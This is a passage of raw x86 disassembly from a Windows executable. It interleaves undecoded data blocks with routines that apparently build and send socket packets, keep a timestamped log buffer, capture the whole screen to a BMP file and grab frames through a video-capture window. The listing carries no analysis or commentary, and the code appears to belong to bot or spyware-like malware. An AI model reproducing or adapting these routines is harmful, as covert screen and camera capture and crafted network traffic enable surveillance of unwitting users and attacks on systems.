ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022DBBh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 80E89000h, 2B0228C8h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 69D0E9E8h, 89669071h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 0E8006A14h, 22DB8BCh, 0EC8B5590h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 0E8500C45h dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 84E890FCh, 2B0228C3h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h dd 5F022DB4h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 0D8E890FFh, 2B0228BCh, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 27B4D4E8h dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436148 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436134 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 279027Eh mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_436194 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436180 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361C4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361A8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dd 2DAC47E8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 2710A4Eh cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call near ptr 2700000h nop lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2700000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2700000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2700000h push [ebp+arg_0] nop call near ptr 26708E6h push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 